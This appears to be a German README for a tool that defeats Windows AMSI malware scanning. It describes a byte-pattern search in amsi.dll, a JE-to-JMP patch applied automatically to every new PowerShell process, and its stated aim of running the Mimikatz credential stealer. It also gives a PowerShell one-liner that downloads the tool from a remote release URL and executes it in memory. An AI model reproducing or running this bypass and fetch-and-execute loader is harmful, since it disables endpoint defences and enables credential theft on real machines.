
Lebenslanger AMSI-Bypass von @ZeroMemoryEx portiert auf .NET Framework 4.8
Lebenslanger AMSI-Bypass AMSI-Killer von @ZeroMemoryEx portiert auf .NET Framework 4.8.
[ x ] - Live-Scan nach neuen PowerShell-Prozessen alle 0,5 Sekunden -> Patcht automatisch neue PowerShell-Instanzen
Wir erhalten die genaue Adresse der Sprunganweisung, indem wir nach dem ersten Byte jeder Anweisung suchen. Diese Technik ist selbst bei Updates oder Änderungen des Zieldatensatzes effektiv.
zum Beispiel:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
Das Suchmuster sieht folgendermaßen aus:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Das Programm testet den Wert von RDX gegen sich selbst. Wenn der Vergleich 0 ergibt, führt das Programm einen Sprung zur Rückkehr aus. Andernfalls fährt das Programm mit der Auswertung der nächsten Anweisung fort.

Wir können "Invoke-Mimikatz" nicht ausführen.

Wir patchen das erste Byte und ändern es von JE zu JMP, sodass es direkt zurückkehrt.


Jetzt können wir "Invoke-Mimikatz" ausführen.



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
Falls Sie diese Meldung jemals gesehen haben und sich gefragt haben – willkommen bei der .NET AMSI-Schnittstelle! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."